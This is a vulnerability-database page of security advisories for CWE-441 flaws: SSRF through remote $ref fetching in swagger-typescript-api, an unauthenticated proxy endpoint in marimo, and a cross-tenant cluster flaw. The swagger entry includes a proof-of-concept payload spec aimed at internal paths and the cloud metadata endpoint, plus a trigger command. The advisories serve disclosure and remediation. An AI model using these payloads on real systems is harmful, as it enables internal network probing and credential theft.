  • A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs).
  • A CI/CD pipeline regenerating clients from a spec on every build.
  • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
  • Any project where a contributor can modify the pinned spec via a pull request.

What an attacker can do with this:

  • Probe the generator's network reachability — enumerate which RFC-1918 hosts and internal services are alive based on timing and error states.
  • Hit cloud-provider instance metadata endpoints (http://169.254.169.254/...) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information.
  • Trigger side effects in internal services that have GET-mutating endpoints (rare but real).
  • Combine with the companion finding (Authorization-token forwarding to $ref URLs — filed separately) to escalate this from blind SSRF into direct credential exfiltration.

Lifecycle: generation-time. The fetch happens when the developer or CI pipeline runs swagger-typescript-api generate, not when the generated client is later imported.

Suggested fix:

Defense in depth at three layers, in priority order:

  1. Reject private / link-local / loopback addresses at the URL-validation layer. Resolve the URL's hostname, check the resulting IP against IPv4 ranges 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, 0.0.0.0/8, and IPv6 equivalents (::1, fc00::/7, fe80::/10, ::ffff:0:0/96). Re-resolve on every redirect to defeat DNS rebinding.
  2. Use a custom undici dispatcher with connect hook that re-checks the resolved IP at TCP-connect time — the only reliable way to defeat DNS rebinding in Node's built-in fetch.
  3. Set redirect: "manual" in the fetch options and validate each redirect URL through the same allowlist before following it.

If full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can grep for unexpected hosts in the output) and add an opt-out flag like --no-external-refs that disables warmUpRemoteSchemasCache entirely.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:28:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`swagger-typescript-api` walks every `$ref` value in the input OpenAPI spec and, for any `$ref` whose target is an `http(s)://` URL, issues an HTTP GET to that URL during generation (`warmUpRemoteSchemasCache`). The only URL filter is a regex that matches `^https?://` \u2014 there is **no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source**. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator\u0027s network, including `127.0.0.1`, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at `169.254.169.254`.\n\nThe attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs `swagger-typescript-api generate` against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).\n\n### Details\n\n`SwaggerSchemaResolver.fetchSwaggerSchemaFile` (`src/swagger-schema-resolver.ts:122`) loads the entry-point spec. After it parses, `ResolvedSwaggerSchema` (`src/resolved-swagger-schema.ts`) calls `warmUpRemoteSchemasCache` which does a BFS over every external `$ref`:\n\n```ts\n// src/resolved-swagger-schema.ts:399-445\nprivate async warmUpRemoteSchemasCache() {\n  if (typeof this.config.url !== \"string\" || !this.isHttpUrl(this.config.url)) {\n    return;\n  }\n  const visited = new Set\u003cstring\u003e();\n  const queue = [this.stripHash(this.config.url)];\n\n  while (queue.length \u003e 0) {\n    const currentUrl = queue.shift();\n    if (!currentUrl || visited.has(currentUrl)) continue;\n    visited.add(currentUrl);\n\n    if (this.externalSchemaCache.has(currentUrl)) continue;\n    const schema = await this.fetchRemoteSchemaDocument(currentUrl);   // \u003c-- HTTP GET\n    if (!schema) continue;\n    this.externalSchemaCache.set(currentUrl, schema);\n\n    for (const ref of this.extractRefsFromSchema(schema)) {\n      const normalizedRef = this.normalizeRef(ref);\n      if (normalizedRef.startsWith(\"#\")) continue;\n\n      const [externalPath = \"\"] = normalizedRef.split(\"#\");\n      if (!externalPath) continue;\n\n      const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);\n      if (absoluteUrl \u0026\u0026 !visited.has(absoluteUrl)) {\n        queue.push(absoluteUrl);                                       // \u003c-- recurse\n      }\n    }\n  }\n}\n```\n\nThe fetch itself:\n\n```ts\n// src/resolved-swagger-schema.ts:374\nconst response = await fetch(url, {\n  headers: this.getRemoteRequestHeaders(),\n});\n```\n\n\u2026and the only URL-shape filter:\n\n```ts\n// src/resolved-swagger-schema.ts:75-78\nprivate isHttpUrl(value: string): boolean {\n  return /^https?:\\/\\//i.test(value);\n}\n```\n\nThere is no IP allowlist (no rejection of `127.x`, `10.x`, `172.16-31.x`, `192.168.x`, `169.254.x`, IPv6 `::1` / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node\u0027s built-in `fetch`, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any `$ref` value that survives `isHttpUrl` is fetched.\n\nBecause `fetch` is Node\u0027s undici-backed implementation, an external 302 redirect from an attacker\u0027s spec server to an internal URL ALSO succeeds \u2014 even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (`redirect: \"manual\"` or a custom dispatcher with a same-host check).\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers \u2014 one serving the spec, one pretending to be an \"internal\" service \u2014 run the generator against each, observe the internal server\u0027s hit count). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:\u003cspec-port\u003e/spec.json`):\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"SSRF-payload\", \"version\": \"1.0.0\" },\n  \"paths\": {\n    \"/p\": {\n      \"get\": {\n        \"operationId\": \"p\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"$ref\": \"http://127.0.0.1:\u003cinternal-port\u003e/INTERNAL_ONLY_PATH/secret.json\"\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"internal\" HTTP server that should not be reachable from a public spec.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Point the generator at the spec server.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  output: \u0027/tmp/out\u0027,\n  url: \u0027http://127.0.0.1:\u003cspec-port\u003e/spec.json\u0027,\n  httpClientType: \u0027fetch\u0027\n}))\"\n```\n\n**Observed (control vs payload):**\n\n```\n[control] (no external $ref in spec) \u2192 internal-server hits: 0\n[payload] ($ref \u2192 http://127.0.0.1:\u003cinternal-port\u003e/...) \u2192 internal-server hits: 1\n  hit: /INTERNAL_ONLY_PATH/secret.json  host=127.0.0.1:\u003cinternal-port\u003e\n```\n\nThe internal server received a `GET /INTERNAL_ONLY_PATH/secret.json` issued by the generator\u0027s `warmUpRemoteSchemasCache` while the developer was running `swagger-typescript-api generate`. The loopback target in the PoC stands in for any host reachable from the generator process \u2014 typical real-world targets include `169.254.169.254` (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.\n\n### Impact\n\n**Type:** Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.\n\n**Affected use cases:**\n\n- A developer running `sta generate --url https://attacker.example/openapi.json` against an attacker-hosted spec.\n- A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs).\n- A CI/CD pipeline regenerating clients from a spec on every build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via a pull request.\n\n**What an attacker can do with this:**\n\n- Probe the generator\u0027s network reachability \u2014 enumerate which RFC-1918 hosts and internal services are alive based on timing and error states.\n- Hit cloud-provider instance metadata endpoints (`http://169.254.169.254/...`) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information.\n- Trigger side effects in internal services that have GET-mutating endpoints (rare but real).\n- Combine with the companion finding (Authorization-token forwarding to `$ref` URLs \u2014 filed separately) to escalate this from blind SSRF into direct credential exfiltration.\n\n**Lifecycle:** generation-time. The fetch happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Suggested fix:**\n\nDefense in depth at three layers, in priority order:\n\n1. **Reject private / link-local / loopback addresses at the URL-validation layer.** Resolve the URL\u0027s hostname, check the resulting IP against IPv4 ranges `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `0.0.0.0/8`, and IPv6 equivalents (`::1`, `fc00::/7`, `fe80::/10`, `::ffff:0:0/96`). Re-resolve on every redirect to defeat DNS rebinding.\n2. **Use a custom undici dispatcher with `connect` hook that re-checks the resolved IP at TCP-connect time** \u2014 the only reliable way to defeat DNS rebinding in Node\u0027s built-in `fetch`.\n3. **Set `redirect: \"manual\"` in the `fetch` options** and validate each redirect URL through the same allowlist before following it.\n\nIf full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can `grep` for unexpected hosts in the output) and add an opt-out flag like `--no-external-refs` that disables `warmUpRemoteSchemasCache` entirely.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-x36r-4347-pm5x",
  "modified": "2026-07-29T14:28:58Z",
  "published": "2026-07-29T14:28:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-x36r-4347-pm5x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref`"
}

GHSA-XJV7-6W92-42R7

Vulnerability from github – Published: 2025-10-01 21:20 – Updated: 2025-11-20 17:20
VLAI
Summary
marimo vulnerable to proxy abuse of /mpl/{port}/
Details

Summary

The /mpl/<port>/<route> endpoint, which is accessible without authentication on default Marimo installations allows for external attackers to reach internal services and arbitrary ports.

Details

From our understanding, this route is used internally to provide access to interactive matplotlib visualizations. marimo/marimo/_server/main.py at main · marimo-team/marimo This endpoint functions as an unauthenticated proxy, allowing an attacker to connect to any service running on the local machine via the specified <port> and <route>.

The existence of this proxy is visible in the application's code (marimo/_server/main.py), but there's no official documentation or warning about its behavior or potential risks.

Impact

CWE-441: Proxying Without Authentication

This vulnerability, as it can be used to bypass firewalls and access internal services that are intended to be local-only. The level of impact depends entirely on what services are running and accessible on the local machine.

Full Local Access: An attacker can use this proxy to connect to local services that answer to web sockets, HTTP or ASGI protocol, effectively gaining a foothold on the machine. Depending on the service, this can lead to remote code execution, data exfiltration, or further network penetration.

Exposure of Sensitive Services: Our scans of public-facing Marimo servers have shown that many are exposing sensitive internal services, including:

Old CUPS Servers: Could allow an attacker to view print jobs or configuration or depending on old vulnerabilities, allow RCE.

phpMyAdmin: Provides a web interface to a MySQL database, potentially exposing sensitive data.

RPCMapper: Can be used for network reconnaissance and enumerating services.

While you’d hope people wouldn’t expose marimo instances to the internet, we found numerous public Marimo instances using tools like Shodan. Many of these servers, some even hosted on cloud platforms like AWS GovCloud, were found to be vulnerable. This means the vulnerability isn't limited to a few isolated cases but is a widespread issue affecting production environments.

===

Notes, this was discovered by devgi. I (acepace) followed up and also created this report.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "marimo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.20"
            },
            {
              "fixed": "0.16.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-01T21:20:11Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe  `/mpl/\u003cport\u003e/\u003croute\u003e` endpoint, which is accessible without authentication on default Marimo installations allows for external attackers to reach internal services and arbitrary ports. \n\n### Details\nFrom our understanding, this route is used internally to provide access to interactive matplotlib visualizations.\n[marimo/marimo/_server/main.py at main \u00b7 marimo-team/marimo](https://github.com/marimo-team/marimo/blob/main/marimo/_server/main.py) \nThis endpoint functions as an unauthenticated proxy, allowing an attacker to connect to any service running on the local machine via the specified `\u003cport\u003e` and `\u003croute\u003e`.\n\nThe existence of this proxy is visible in the application\u0027s code (marimo/_server/main.py), but there\u0027s no official documentation or warning about its behavior or potential risks.\n\n\n### Impact\nCWE-441: Proxying Without Authentication\n\nThis vulnerability, as it can be used to bypass firewalls and access internal services that are intended to be local-only. The level of impact depends entirely on what services are running and accessible on the local machine.\n\nFull Local Access: An attacker can use this proxy to connect to local services that answer to web sockets, HTTP or ASGI protocol, effectively gaining a foothold on the machine. Depending on the service, this can lead to remote code execution, data exfiltration, or further network penetration.\n\nExposure of Sensitive Services: Our scans of public-facing Marimo servers have shown that many are exposing sensitive internal services, including:\n\nOld CUPS Servers: Could allow an attacker to view print jobs or configuration or depending on old vulnerabilities, allow RCE.\n\nphpMyAdmin: Provides a web interface to a MySQL database, potentially exposing sensitive data.\n\nRPCMapper: Can be used for network reconnaissance and enumerating services.\n\nWhile you\u2019d hope people wouldn\u2019t expose marimo instances to the internet, we found numerous public Marimo instances using tools like Shodan. Many of these servers, some even hosted on cloud platforms like AWS GovCloud, were found to be vulnerable. This means the vulnerability isn\u0027t limited to a few isolated cases but is a widespread issue affecting production environments.\n\n===\n\nNotes, this was discovered by [devgi](https://github.com/devgi). I ([acepace](https://github.com/acepace)) followed up and also created this report.",
  "id": "GHSA-xjv7-6w92-42r7",
  "modified": "2025-11-20T17:20:23Z",
  "published": "2025-10-01T21:20:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/marimo-team/marimo/security/advisories/GHSA-xjv7-6w92-42r7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/marimo-team/marimo/commit/0312706d5e594acdb405209b2c8d87c98f46b22b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/marimo-team/marimo"
    },
    {
      "type": "WEB",
      "url": "https://github.com/marimo-team/marimo/releases/tag/0.16.4"
    },
    {
      "type": "WEB",
      "url": "https://marimo-team.notion.site/cve-proxy-without-authentication"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "marimo vulnerable to proxy abuse of /mpl/{port}/"
}

GHSA-XP42-V53J-R9GH

Vulnerability from github – Published: 2026-08-13 18:31 – Updated: 2026-08-13 18:31
VLAI
Details

A flaw was found in the clusterclaims-controller component of Multicluster Engine (MCE). An authenticated tenant can exploit this vulnerability by manipulating ClusterClaim labels. This allows the tenant to force a cluster to join a ManagedClusterSet belonging to another tenant. Such unauthorized access could enable the injection of policies and workloads into other tenants' clusters.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-73266"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T17:17:35Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in the clusterclaims-controller component of Multicluster Engine (MCE). An authenticated tenant can exploit this vulnerability by manipulating ClusterClaim labels. This allows the tenant to force a cluster to join a ManagedClusterSet belonging to another tenant. Such unauthorized access could enable the injection of policies and workloads into other tenants\u0027 clusters.",
  "id": "GHSA-xp42-v53j-r9gh",
  "modified": "2026-08-13T18:31:41Z",
  "published": "2026-08-13T18:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73266"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-73266"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2514217"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Enforce the use of strong mutual authentication mechanism between the two parties.

Mitigation
Architecture and Design

Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.

CAPEC-219: XML Routing Detour Attacks

An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.

CAPEC-465: Transparent Proxy Abuse

A transparent proxy serves as an intermediate between the client and the internet at large. It intercepts all requests originating from the client and forwards them to the correct location. The proxy also intercepts all responses to the client and forwards these to the client. All of this is done in a manner transparent to the client.

← Back to the CWE list